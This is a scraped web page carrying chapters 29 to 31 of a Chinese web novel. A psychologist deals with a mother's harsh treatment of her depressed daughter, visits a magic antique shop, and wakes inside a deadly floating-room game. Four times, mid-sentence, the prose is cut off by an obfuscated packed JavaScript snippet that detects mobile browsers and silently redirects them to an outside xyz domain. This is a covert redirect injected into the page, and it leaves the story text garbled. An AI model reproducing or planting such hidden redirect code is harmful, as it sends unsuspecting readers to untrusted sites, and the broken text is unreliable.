“说过了，她说随便。真是的，现在的孩子一点主见都没有，什么事情都得父母替他们操心。” 月栀酒知道单从孩子或者家长的视角都没有办法问出事情的真相，所以就打算先从家长的口述入手，一步步寻找“病根”。 “在您看来，孩子最近有什么异样吗？” 丁太太抓起沙发上的团扇，扇风的力度几乎要把扇面给甩飞，看起来格外烦躁。 “她就没有哪里是正常的！就是她的那些小摆件啊，塑料做的，就这么大，还不便宜呢。”丁太太一边说着，一边还拿双手比划摆件的大小，“我也不是说心疼这点钱，不就几百块嘛，她高考完了拿两三倍的钱来玩都行，关键是现在玩这些影响学习呀！” “我理解您的意思，您是给姑娘把这些小摆件儿都没收了吧？” “不是没收，是替她保管，等高考完了之后再还给她嘛！” “然后呢？” “然后我可能……可能就是不小心把那些东西给扔了。” “哎呦，那姑娘得恼。” “可不是嘛！我又不是故意的，她偏要说有几个是什么限量款，现在已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14421024|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有卖的了。但是她买了这么十好几个，你说她是不是成瘾了，我把那些东西丢掉也没有什么大错吧？我看电视上的专家都是这么整治小孩的。” “这个嘛……” “谁知道她隔天就买了好几把那种折叠的小刀回来，要不是我在她抽屉里发现了，她还打算瞒着我呢！小柠也真的是越来越不学好了，她这是收集刀，还是想要自残呀！我就跟她爸说，我好不容易才生下来这么漂亮的一个女孩，她要是敢自残，怎么对得起我们把她养这么大？” 这下月栀酒是不知道该说什么好了。 强压之下的孩子本来就容易用爱好来寄托郁闷的情绪，就像木沐对编程的执着和威妮娃对物理的喜爱，但是大多数小孩儿毕竟都是正常人，喜欢点小物件也没有什么不妥。 丁太太把丁柠收藏的摆件一丢，就相当于丢掉了丁柠当下唯一的情感寄托。 走投无路之下的人往往会寻求对精神刺激更加猛烈的爱好，比如失恋的人去赌博、胡乱与人发生关系等等。如果这次丁太太直接把折叠小刀给扔了，还言辞批评了丁柠，说不定这个姑娘会做出更加过激的举动。 “嗐，月老师，我这次请你来呢，一是想请你给小柠好好说说，让她不要老是耍脾气，有什么事情可以跟我好好沟通嘛对不对；二是让她收收心，现在离高考不远了，我这辞了职的陪她备考，她要是考不好，先不说对不起我们了，她都对不起她自己；三是他们老师说她的状态不太好，我看着她心情也不好。她不知道我在背后承担了多大的压力，月老师你是成年人，你应该知道上学比上班轻松多了。世界上比小柠条件差的人多了去了，让她知足一点，外面都在给我压力，让她这里省点心吧。” “瞧您这说的，我还是跟孩子聊过再根据情况看吧……” 月栀酒听着真的是闹心，他本来是来处理小姑娘心情郁结的，现在丁太太不出几句话就开始一二三的许愿，倒搞得他像是许愿池里的王八一样。 丁柠书房的门缓缓打开，迎着他们走出来的，是一个长相文静，但是含胸低头还留着厚刘海的姑娘。 “做完了？”丁太太问。 丁柠小声回：“做完了。” 丁太太指着月栀酒说：“这是月老师，来给你治疗心理问题的。” “我没有问题。”丁柠的声音小到没有，丁太太当然没有听见。 “你说什么？” “没什么。”丁柠走过来，怯生生喊了句：“月老师。” 月栀酒也是热情地跟她打招呼。 “还不给老师倒茶？”丁太太冷不丁命令道。 丁柠弱弱“哦”了一声，便没有多话，径直去烧水泡茶了。 “还有昨天买的那些葡萄放在哪里？你给老师洗洗拿过来。” 丁柠手上还泡着茶，她先是说了句“好”，而后又为了节约时间说：“就在你旁边那个小冰箱里，你可不可以捎带手洗一下？” 可能是月栀酒父母常年不在身边，没有学好礼数，也可能是他有四分之一的异国血脉，没有太过注重国内分工干活的事情。所以在月栀酒看来，这句话是没有什么问题的，但是别人可未必这么认为。 丁太太骤然暴怒起来，“你没手啊？什么事情都得我来做！这不是你家是吧？” “我……我没有这个意思……我说什么了……” “一点长幼礼数都不懂！你们这辈人怎么这么不知道长幼尊卑？我怎么从来不会让我妈顺带手干什么！” 29.奇门凶杀案 ………… “长幼……尊卑？”巫漓儿那张怼天怼地怼空气的脸上很罕见地流露出了单纯奇怪的神色，“那应该怎么说？这几年国内的孩子在家里称呼父母也必须用‘您’吗？还是说，她的意思是孩子不可以拜托父母顺带手帮个忙？” 月栀酒摇摇头，“不知道啊，我父母都有大半时间在国外，而且我一年也见不上他们几面。我想这种事情，巫大小姐应该比在下清楚点儿吧？” 巫漓儿似乎心里有了答案，但是接下去的话虽然没有欺瞒，却是口不对心。 “这就有点难办了，因为我跟父母也实在是不熟……看来我们是深讨不了这个问题了，月公子，接下来呢？” ………… 丁柠被妈妈当着外人下了面子，原本郁郁寡欢维系着的平衡也就被彻底打碎了。 “我不可以请你顺带手帮个忙吗？” “你问问月老师，从古至今都是妈让孩子做事，哪有孩子安排妈做事的？” “我哪有安排你……” “我怎么就从来都不会让你外公外婆顺带手给我做事？” “这又不是我一个人的事。” “对！因为你从来不觉得你是这个家的主人，你觉得所有事情都是别人的事，你什么事情都要推给别人！” 人说清官难断家务事，月栀酒一点都不想被卷进别人的家庭纷争，但是他毕竟一个大活人坐在这里，要是什么都不干也说不过去。 “丁太太，咱们先喝口水冷静一下，您说这也不是什么了不起的大事儿对不对，何至于呢？” “月老师你不要惯着她，要好好教育她，这是能对长辈说的话吗？” 眼见丁太太大有不死不休责怪她到死的架势，丁柠却是直接架不住崩溃大哭起来。 “我说什么了……我不过是请你帮个忙都不可以吗？‘你可不可以帮我个忙’这句话我对所有人都是一样说的……” “喔！在你心里我是所有人是吧？你就这么想我的？” “你……” 丁太太这么一问，给小姑娘问的都不会说话了。 月栀酒算是勉强听懂了丁太太生气的原因，但是真的完全没听懂她刚刚的那句话。 所有人——不是指所有在生物和政治领域被命名为人类的物种吗？ 丁太太到底在生气什么？ “你不在所有人的范畴吗？”丁柠抽泣着问。 “反正你在我心里就不是所有人。”丁太太气得站了起来，“你觉得我和所有人是一样的是吧？好啊，我真的是养出来个白眼狼！” “我怎么就白眼狼了……分明是你不讲道理……”姑娘越说越委屈，哭的泣不成声。 “你有毛病啊！” “什么……” “你有毛病啊，听清楚了？你——有——毛——病——” “我怎么你了？你要……你要这么骂我……” “有你这么跟长辈说话的吗？你还敢安排起我来了昂？说你有病都是轻的了，你要是不愿意在这个家里呆，就赶紧给我滚出去，明天就滚！” 月栀酒知道要是再这样下去，不要说开始心理疗愈，他恐怕想走都走不掉了。既然已经被卷入风暴中心，他也只好出来当和事佬了。 “丁太太，丁太太，你消消气……小柠，你先去房间里，我跟你妈妈谈谈。” 丁柠哭得上气不接下气，虽然还是很委屈，但也很懂事，没有继续哭诉吵架，听月栀酒的话乖乖进屋了。 “月老师你不要替她说好话……” “丁太太，来，有什么话坐着慢慢说。”月栀酒把她拦回沙发上，“有没有可能小柠没有安排你的意思呢？可能是你们之间的沟通有那么一些些小误会，您生气的点是小柠对你不尊重？还是什么？” 一串葡萄绝对不可能有把场面搅和成这样的魔力，月栀酒用脚趾头也能想到，今日母女俩的爆发一定是沉淀了许久的。 果不其然，丁太太说：“我对她向来是没有什么高要求的，我也不常发脾气，不至于因为那一句话跟她吵成这样。她要是稍微懂事一点，就说句好，把葡萄洗了拿过来，不就什么事都没有了吗？” “那您究竟是为什么生气呢？” “她一天都不好好学□□是有些人啊，不懂我们身为家长的在她们看不见的地方承受了多少，我也不怪她。” “您说过了。” “不要打断我。” “欸，好。” “你看，你一打断我，我都不知道说到哪里去了。” 月栀酒暗自叹气。 他今天是接了个什么活？这层楼的人，先是舒久月，后是丁家母女，都不是什么好对付的主儿。自从接了这个个案，他真的是三个月都不想再打工了，果然是三百六十行，行行做牛马。 “我想起来了，她还想在我这里要公平，公平这个词是跟妈说的吗？我让她做事，那是天经地义的事情，我管她也是为了她好，又不是外面随便哪个乞丐我都管的。哦，她就觉得委屈了，我让她做事，她就得让我做事是吧？从古至今哪有这样当孩子的？有些人就是听不懂别人话里的意思，要不是因为她的学习，我至于辞职吗？也不至于受到各方的压力，我也不会这么着急了呀！” “但是不管怎么说，您也不能说孩子有毛病呀，这不是伤了孩子的心嘛。” “我那是气话，她把我逼急了，我说话急了一点也是无可厚非，她要是连这个都听不出来的话，我就真的是白养她了。” 你骂人家有毛病，人家还得悟一下你骂人家有什么深意？丁柠这姑娘又不是受虐狂，这个想法不是纯属有病吗？ 月栀酒费了好大劲儿才把这些吐槽吞回肚子里。 看来跟家长是说不通了，不如就先去跟孩子聊聊吧。 “丁太太，这样，时间不早了，我看着也可以去跟孩子聊聊，开始心理辅导了。” “我也去一起听着。” “您就搁外边儿稍等一下吧，不然孩子放不开，不一定会全说实话。” “那行，你快点啊。” ………… “所以你就去跟那姑娘私聊了？”巫漓儿问。 “对呀。” “那丁柠的状态还好吗？” 月栀酒微不可查地皱了下眉头。巫漓儿发现说漏了嘴，但也不是太过在意，没有说其他来转圜的意思，直接打直了问：“你怎么帮她治疗的？” “不是很好，就算是再高明的心理医生，也没有办法在只面对孩子的前提下，解决一个家庭的问题。我跟她聊了聊，她看上去是好多了，但是指不定哪天会反弹回去。” “当妈的厉害，做女儿的有什么故事吗？” “巫大小姐可以去当预言家了。我跟她聊熟了之后，她跟我说，她有一本稀奇古怪的日记本。” 巫漓儿嘴角微微勾起了一丝角度，月栀酒虽然看得真切，但也只是默默略过了，接着往下说。 “丁柠说那个笔记本还有另一个人在写，但是她保管得很好，别人是绝对碰不着的。我最开始还以为她跟我开玩笑，但是后来她给我看了日记本儿上的内容，确实是两个完全不同的笔记。我又用了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447649|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太科学的方法，断定丁柠说的句句属实。” “那还真是奇怪了，一本只有她一个人可以碰到的日记本上，居然出现了另外一个人的笔记，你没有怀疑这姑娘精神分裂吗？” “打一开始我就怀疑过了，可是她压根儿就不符合精神分裂的特征。换句话说，她撑死了就是中度抑郁，问题不算太大，不可能分裂出另外一个人格跟她写日记交流的。” “所以你的诊断结果是什么呢，月公子？” 月栀酒现在已经习惯了巫漓儿快到要命的车速，不急不忙地说：“那得问您呀，巫大小姐。” “问我？” “当然得问问您了，我刚刚讲这个案例的时候，可全程都没有提到过丁家姑娘叫什么名字，您老人家是怎么知道她叫丁柠的？” 巫漓儿佯装才意识到纰漏，颇为夸张地演足了懊恼的表情，“哎哟，说漏嘴被你发现了！月公子你偷了葫芦娃的顺风耳吗？怎么耳朵这么灵光？” 月栀酒无情吐槽：“您这演的可就假了点啊。” “再是真真假假、虚虚实实，也误不了包大人审案子，不如月公子也效仿一二，抽丝剥茧找出个真相来？” 面对巫漓儿的挑衅，月栀酒也是不再客气了。 “那本日记本儿是您给人小姑娘的？” “本来想给你三次机会的，结果机会还没给出去，你就连题目带答案甩我脸上了，真是很不给人活路的。” “这次换巫大小姐讲故事？” “行啊，那有什么问题。” 巫漓儿很爽快地答应了，但是月栀酒隐隐觉得古怪。 世界上“真”和“假”往往是无法并存的，可月栀酒居然同时从巫漓儿的嘴里听到了纯粹的“真”和更加完美无瑕的“假”。这两者构成了一部史诗级华丽的“蒙太奇”式诡计电影，甚至连编辑也未必能百分百理顺真相的逻辑顺序。 “大概半年前，我偶然遇到了丁柠这个小姑娘。据我所知，她当时的情况应该比现在还要更差一些……当时她一个人坐在公园里，天黑了也不回家，还好当时永生不算太冷，她穿的也还算够，不然她真的有被冻成冰棍儿的架势。我身为一个闲极无聊的怪姐姐，当然要去关心一下小妹妹啦。 “唠了几句，我发现我真的是魅力无限，不亚于你月公子。她跟我说了一些叫她烦到想死的事情，和她昨天跟你说的应该大差不差。事后我侧面调查了一下，丁柠的妈妈本来已经到年薪百万的地位了，但是因为被人蒙骗，一朝回到解放前，把这么多年积攒的财产全都赔进去了，丁先生也是一度想要跟她离婚，不怪丁太太压力大。不过我可不是当人家心灵导师的料，安慰不了丁柠，也管不了丁家的事，只好力所能及，送了她一件与众不同的见面礼……” 月栀酒已经下定决心不接那家的单了，所以对巫漓儿和丁柠相识的经过兴趣不大。他更感兴趣的是那本日记。 “所以那本日记是真的……” “是真的有人在跟丁柠对话。他们同是这本日记的主人，也是光明正大留下那些文字的，不是恶作剧，只是他们无法轻易见面而已……是不是很神奇？” “您吖要是这么解释的话，那我觉得这几天经历的事情这还真是一件比一件不可思议了……这种有短信功能的神奇日记本儿，您老人家是从哪个古墓里给它挖将出来的？” “月公子也想买一本回去收藏？哈哈，不过很遗憾，那是我在厄运商人牌神奇小店里拿的，是个不可多得的孤品。你到了他这个虎穴狼窝，可不仅仅得捂好你的钱包，还得守好你那不可再生的宝贵运气……” 30.奇门凶杀案 厄运商人的店铺真的开在一个人烟稀少却风景如画的郊区，由此可见，店主必定是一个很会享受的闲人。 店铺的入口就像一家隐藏在墙壁里，近几年才被挖出来的古董店，可他们进去之后却发现别有一番景象。 这是一栋三层别墅和一栋六层别墅链接形成的建筑，两栋别墅之间还有凉亭景致，瞧着那叫一个赏心悦目。 正当他们欣赏满屋子奇怪物品的时候，凉亭里走过来一个人，瞧着样子，约摸就是这家神奇古董店的老板。 “是来客人了？” 他是一位穿着淡蓝色新中式服装，手拿精巧折扇的长发男人。这男人看着高贵斯文，银蓝色的发丝披在肩上，很有一种跟他们不在同一个世界的错觉。 巫漓儿踩高跟鞋的声音回响在室内。 她对上了男人的脸，语气也没有听出丝毫的客气，“令狐少爷擦亮点眼睛，今天你有贵客来临，怎么也不请我们坐下来慢慢挑选商品？” “好说好说，VIP客户当然是要有特殊优待的，今日小店所有商品一律八折。” “我你肯定是宰不了的，不过我给你带来了一个喜爱消费的富商公子哥儿，你可以试试有没有宰他的本事。”巫漓儿转头给月栀酒介绍，“这位就是臭名昭著的厄运商人，令狐十四。” 月栀酒对于这个绰号很好奇，“为什么要叫厄运商人？” “先生你不要听她胡说。”还没等他问完，楼上就下来了一个穿着同样款式衣裳的男子，不过这个男子头发短黑，身材也要更瘦小一些。 他一下来就走到令狐十四身边，挨着他坐，“十四哥是幸运商人，只不过被别人取了外号，流传开了而已。” 月栀酒打眼一望就全都了然了。 这两位……摆明了穿是情侣装的小恋人一对。 “二位这次是以什么身份来小店光顾的？”令狐十四语调悠扬。 巫漓儿拉着月栀酒找了旁边的木椅坐下，“还能是什么身份？我们当然是客人，来这里买东西的……还有，无歆让我来帮她看看小乙的近况。现在我瞧见他生龙活虎，也好给回去她一个交代了。” “阿歆她……”令狐十四旁边被叫做小乙的男人话刚出口，就被令狐十四醋意横生的眼神给浇灭了。 “她好得很，你就不必亲自去看了，免得某人吃醋。”巫漓儿意有所指地瞅了眼令狐十四，“行了，这么多年到处秀恩爱也秀不腻……别瞪着我，我可不是来打扰你们腻歪的，买了东西就走。” “这位千金大小姐，你真是来购物的？” 令狐十四对巫漓儿说话很直接，他可能也是一个和她一样不喜欢应付人情账的人。月栀酒想，这样的两个人说不定反倒能合得来拍。 “难不成你觉得我像是来打劫的？” 这句话给令狐十四逗笑了，他甩开折扇，“大小姐你可从来都是零元购的啊。” “零元购也是购嘛。今天不宰你，我们月公子手头阔气，他付得起。赶紧的，令狐大少爷，把东西交出来，不然把你老婆绑了跟你讨要赎金。” “行，你都威胁到面前了，我哪敢不从？说吧，二位贵客想要什么？” “令狐十四，你要是再给我揣着明白装糊涂，我敢保证你们俩今天晚上都得给我睁着眼睛睡觉。”巫漓儿用眼神指了指月栀酒，“你没忘了他吧？月公子本人来了，你说你还能给他推销什么东西？” “月……”令狐十四似乎还是没有想起来。 小乙一副恨铁不成钢的表情，凑过去跟他耳语了两句。 “噢，我想起来了，这位可真是个不好怠慢的角色。”令狐十四不紧不慢，到一旁的柜子里拿出来一只有标志性新中式刺绣的深蓝色眼罩抛给月栀酒，“这位千金大小姐杀到门口来要的可就是它了。” 月栀酒接过眼罩的那一瞬间，心里的熟悉感就又再次油然而生。 “……我好像也有过这么个小玩意儿，只是忘了在哪儿瞧见过。” 令狐十四扇着折扇，随口说：“你眼熟不奇怪。” “十四哥！”小乙叫他，小幅度摆头示意他少说两句。 令狐十四也不像是还没玩够就会消停的人，小乙越压他越反弹，干脆侧面去点月栀酒，“舒远山在病房里睡觉的时候就喜欢戴，你忘了？” 月栀酒自然是没忘那茬，不过经令狐十四的提醒，他倒是顺利想起了另外一个关键节点。 “木沐那小贼偷的好像就是……” 令狐十四拿扇子在月栀酒眼前转了一圈，月栀酒便有一种被拿走了什么东西的失落感。 “诚惠二百四十一元，客官是微信还是支付宝？” 巫漓儿看到这里，脸色暗了几分，用略带威胁的口吻对令狐十四说：“十四少爷，你这账算的不对吧？” “不对吗？”令狐十四反问，“哪里有问题？” “问题就是你的手续费太多了……月公子的钱你就别想了，接了你也拿不住，改明儿我请你吃饭，咱们关上门仔细算算这笔账。” 小乙这时也来插嘴，抽了朵漂亮的仿真花，拿过去放在巫漓儿手里，“我的女王大人，账就不用算了吧？你比谁都知道十四哥的脾气，看在阿歆的面子上，手下留情……” “账可以不算，但是饭得吃……”巫漓儿把仿真花别到小乙的耳朵上，巧笑嫣然地在他耳边说：“你也来，给我讲讲故事。” ………… “大小姐您刚刚是不是威胁他俩了？我怎么有点掉趟儿了呢？” “不是你没赶上，是有人插叙没用好。”巫漓儿走出这家古董店，发泄一样砸上店门，“这俩都不是什么省油的灯，一个疯狗一个恶狼，现在倒是装起小白兔来了，演得比只猫都乖……一个两个都给我卖关子，我迟早给他俩一个丢到北极、一个丢到南极去！” 小乙和令狐十四站在二楼阳台上。 巫漓儿临走时气不愤，仰头冲楼上喊道：“令狐十四，做生意的事儿，不在乎一天亏一天，当心什么时候被别人端了老巢都不知道。你亏钱倒是不要紧，要是你的藏品被别人拿去为非作歹，我是可会连麻烦带源头一起灭了你。” 令狐十四只说了声：“慢走。” 小乙紧跟着补了句：“不送。” ………… 回到「天医山庄」，叶无歆坐在茶桌前问他们有什么收获。 巫漓儿说她这几天可能是水逆，不仅屁大点收获没有，还被气的胃疼，要搬过来和叶无歆一起闭关。 叶无歆笑着说让她去洗个澡，烦躁心情就会消散些了。 巫漓儿只说没胃口吃晚饭，甩头就回房间了。 “小少爷不如也去洗个澡，今儿早点睡，明天我让霜霜带你玩玩这山庄。” “不急，晚饭还没着落呢，肚子饿。” 叶无歆看出来月栀酒是想找借口想跟她聊天，遂配合他叫五姨上了晚餐。 吃饭时，月栀酒打着跟叶无歆唠家常的旗号，旁敲侧击探究那股熟悉感的来由。 “叶老师今年几岁了？” 叶无歆没有即时回答，而是思考了几秒钟才回答道：“19。” “您看着就年轻，没想到实际年龄比看上去还要更年轻些。” “一是我身体不好，看着没有朝气。二是我的打扮和盘发都不是同龄人的装扮，所以看起来更没有青春的样子。说起来这也算不得多大好事，毕竟女孩子家都喜欢被人往年轻了说。” 月栀酒拿起那个眼罩，指尖摸着上面精致的刺绣纹理，双瞳前的布料里都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456788|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗藏着一块小小的芯片，不知道是何作用。 “叶老师指了条路，说能搞清楚真相，可是在下却更加迷茫了。您看在我实在是没啥悟性的份儿上，不如大发慈悲指点个铆窍？” 叶无歆指的自然是条明路，可她也不能直接跟月栀酒明说，这样无疑就是捅了对方的心窝子肺管子。像她这样的局外人，最好的办法就是把那夜明珠上的薄纱给一层一层地揭开……或者，干脆什么都不要插手。 “你为什么一见面就叫我老师呢？就算我看着再显老，也大不过你。据我所知，你也没有逢人就喊‘老师’的习惯，为什么对我会换了称呼呢？” “我……”只是下意识想这么喊，就喊出来了。 月栀酒被这个想法给吓到了。 他又不认识叶无歆，为什么脑子里会有一个对她的固定称呼？ “我再问你，你在京城出生，来永生念大学，学心理学专业。毕业之后从商，大半的时间都不在国内……小少爷你是向来不敬神佛、不畏鬼怪的个性，心理学的本事是大学学的，可你另外的那些本事又是打哪儿学来的？” 其他的本事……叶无歆指的是「奇门遁甲」、「六爻」、「梅花易数」等一系列玄学手段。 对啊，月栀酒虽然会那些本事，但是仔细想想却完全不合理。 连高琴都知道他承了部分全真龙门派的法，可是他做了二十几年坚定的唯物主义者，就连寺庙和道观也没去过几次，哪来的机会学这些东西呢？ “一时半会想不明白的事情，你也不用着急想明白。我再问个题外话，小少爷你从小成绩好，但偏科，偏科偏到被人从学校逮到实验室里去当小天才，敢问你当时偏好的是哪科？” “是生……生物？” 因为时间太久远，月栀酒回忆的连自己都有些诧异了。 “对呀，你母亲是生化系搞科研的高端人才，国家都很稀罕她，小少爷你耳濡目染，生物好也不奇怪。只是你偏科如此严重，为什么大学却选了几乎完全没有接触过的心理学专业呢？” 是呀，为什么？ 月栀酒自认脑子不算最顶尖的，但也绝不能被说成是愚笨，他怎么就从未想过这些显而易见的问题呢？ “小少爷想跟我聊天，那我必然是不会轻易放过你的。话就这么多，你的时间还长，这也不是什么限时的考试，不用着急想出个答案。” 叶无歆放下筷子，一边上楼一边吩咐霜霜说：“我吃完了，今天要早点睡，一会儿你热点牛奶给小少爷喝了，好让他睡个好觉……给漓儿也送点晚饭吧，注意饮料不要牛奶，她不喜欢。” ………… 月栀酒锁了门，洗漱完了之后，就一直攥着眼罩坐在床上发呆。 让他不要多想……哪有这么容易？ 他要是真的有控制自己思绪的本事，早就被抓去实验室做研究了，哪里还用得着在这里思索这些烦心事？ 还有这个眼罩……栀酒这几天见过不少次了。木沐撬了锁进他家就是这个眼罩；舒远山在病房里大中午睡觉时也戴着它；今天藏在这个「天医山庄」的厉害人物叶无歆也叫他去买，这小小一个眼罩到底有什么魔力？ 嗐，算了，管它呢。 月栀酒很快就放弃了跟自己过不去的内耗行为。 人说百闻不如一见，百思不如一试，月栀酒才懒得想它的功效，管他有什么魔力，戴上试试不就一概知晓了吗！ 戴上眼罩，月栀酒细闻还可以闻到有一股清香，眼罩在脸上的触感也很舒服，分不清是耳朵还是脑子里隐隐约约还能听到一些令人心安的音波，大概是能起到一个助眠的作用。 不知道是眼罩的功效还是月栀酒想事情想累了，他竟然一戴上眼罩就迷迷糊糊昏睡了过去。 31.万家山 ==========（无限流副本正式开始）============ 月栀酒一睁眼就到了一间正方形的奇怪屋子里。 这间屋子大概长宽都有五米，高两米，没有门，只有一个被封死了的透明小窗子，整个房间就是一个活脱脱的教科书版密室。 密室里还有一个扎着高马尾，穿着运动装的姑娘。 这姑娘看起来也是一脸懵的样子，左顾右盼看到了月栀酒，慌忙地说：“哎哟我的天老爷，这是哪儿啊？你、你是谁啊？” 因为密室里没有灯光，只有从小窗户透进来的一缕正方形自然光，所以月栀酒看不清楚她的样子。 “姑娘好问题，我也想知道。” 月栀酒说罢，走到玻璃窗边一看，瞬间就呆愣住了。 除了他们之外，还有七个正方形密室漂浮在空中，以有窗的一面朝内相望，围成一个圆形，每个房间外表看上去的颜色都不相同。从他们开始顺时针看，这七个房间的颜色分别为——自己不知、浅棕色、深土棕色、深绿色、红色、暗金色、亮金色和浅绿色。 在这些小房间的上方和下方都是一望无际的天空。 “奇怪……” 看到这些东西，月栀酒不由联想到做梦。 他原本就是在「天医山庄」叶无歆的别墅里睡下的，以那里的安全级别，除非主人有心，否则谁能冲进去把他给绑架了？ 再说…… 月栀酒低头看到自己身上虽然穿着巫漓儿在山庄帮他买的睡衣，但是脚上却穿着他自己的那双运动鞋。 谁家绑匪会在绑人的时候把床脚的鞋子一块儿给绑了？ “哇——”高马尾姑娘推开月栀酒趴在窗户上，看到窗外的一幕时叫出了声，表情无比惊讶，本来就明亮的卡姿兰大眼睛瞪得溜圆。 月栀酒没有再往玻璃窗前挤，顺势靠在窗边的墙壁上。 “姑娘，敢问尊姓大名？” “林之。” “没有人跟你说过，超过一秒钟的惊讶都是装出来的吗？”月栀酒无语地问她。 “这还真没有。”林之眨巴着眼睛装无辜，“可能是我比较笨吧，惊讶延时了……哎呀，现在不是说这个的时候啦，就冲你质问我的架势，你也是给人捉来的？” “姑娘您瞧这里地儿有门儿吗？什么山野精怪可以把你我从这个小窗口里塞进来？又有什么高科技可以让这么偌大一个密室凭空飞在天上？” “或许有呢？” “那您往下瞅瞅，能瞧见陆地或者海洋吗？世界上存在这种地方？” 林之站在光口，她一偏头，窗外的光线将她的半边脸照亮，而另外半边脸则是暗到失去了五官。 她撺掇月栀酒说：“那我们这是在做梦？你赶紧掐一下自己，疼不疼？” “为什么掐我呀？姑娘您不是活人儿吗？” “废话，就是因为我掐了有感觉才让你掐的呀！” 月栀酒有点尴尬，按了按自己的手臂说：“呃……其实我刚刚就掐了，也疼。” “……哦。” 恰在此时，房间里“啪”的一下就亮起了两圈LED灯，分别位于顶头和脚底两个正方形墙壁的四边。 林之被吓得跳起来，“卧靠靠靠，你大爷的，吓死人呐这是要……连点预告都没有，我要是个心脏不好的，铁定得在挂这儿……” 月栀酒的反应相较之下就要冷静得多。 现在房间内外的光线达到了一个平衡的界限，他们刚好可以透过玻璃窗，不受反光困扰地看到其余每一个房间里的一小部分状况——其余七个房间里都隐约看到了人影，只是窗口太小，大多数房间里人的年龄、样貌和数量都看不真切。 房间里唯一可以看到外面的窗口不算太高，撑死了也不到一米四。林之应该只有一米六左右，还穿着平跟的凉鞋，她甚至还要弯下腰才能透过玻璃窗口看到外面的景象。 视线向上移，玻璃窗口上方的墙壁上写了一个字——［坎］。 窗口下方的对应位置有一小块长方形白板，白板下方的地面上还滚落了一支白板笔。 月栀酒准备弯下腰去捡时，不知从何处骤然响起来一道极赋韵味的女声——【欢迎各位来到万家山！】 这突如其来的女声似是无处不在，月栀酒转了几圈也没能找到声音的来源。 他回忆起来…… 白天的时候，巫漓儿和叶无歆都让他睡个好觉，听那话的意思是第二天有什么行程安排，莫非指的就是这里？ 林之嗤笑了一声，“嘿，这破烂广播真是有意思得很，播放器见不着就算了，山呢？她倒是指个山出来给我看看呀……皇帝的新山？” 那飘渺的声音似乎是能听到林之的话，女人轻笑了两声。 【各位都是受到了神女的鸿福才能来到这里。】 【但是万家山是千古以来不可多得的福地，此地有神女庇佑，乃当世乌托邦，进来的人自当都应该先去鬼门关走一遭，去去身上的傲慢之气。】 【小女子的贱名不敢污了诸位的耳朵，不过想到在如今将死的情况下，我还是给各位一个生气埋怨的称呼比较好。那么，就叫我［叶水0013］好了。】 【我每过十分钟，就杀死一个房间里的所有人。各位若想要活命，还请八仙过海，各显神通。】 【祝各位黄泉路上慢走，搭伴同行，也好免去孤单～】 【OK，那么现在，屠杀开始！】 话音落下帷幕，玻璃窗口对面和左右两侧的墙壁上凭空出现了不下百个出水口一样的东西，月栀酒和林之的脚底以3×3的排列方式出现了九个红圈，头顶的墙壁上也往下延伸出了6×3一共十八个铁质拉手。 林之看着五面的异样，烫脚一样无处可逃地踮着脚尖躲避红圈，月栀酒也是浑身都觉得不对劲儿。 万家山……神女？ 这貌似不是什么典故。 这个房间确实是找不出门，也确实是漂浮在空中的，看起来确实能跟“神女”二字挂钩，但他仅仅只是随便听听都觉得甚是离谱，更别提相信了。 人是肯定进不来这个封闭空间的，那个［叶水0013］就算真的会杀人，也只能倚仗机关，无法亲自进入。 既然是机关，就必定有破解或是躲藏的余地。 “小哥，你来看，这里有一把螺丝刀欸！”林之在角落找到了一把很是不显眼的螺丝刀，招呼月栀酒过去看，“诶对了，小哥你一来就问我的名字，倒是没有报上自己的姓名呢。” 月栀酒往那边走过去时回答她：“月栀酒。” 他刚刚看过了，窗子封得也不算太死，没有用胶，只是用了几根长长的螺丝钉给钉住，用螺丝刀就能很轻易地卸下来。可是想要什么东西，什么东西就出现在眼前，这要不是他们运气太好，便是事出反常必有妖。总之，无论怎么看都不是个好兆头。 月栀酒看到那个和墙壁颜色一模一样，还有半截卡在出水口里的便携型螺丝刀，问：“这么隐蔽都能被你给找出来？好本事啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475321|152770||http|test|mini|href|location''.split(''|''),0,{})); () { 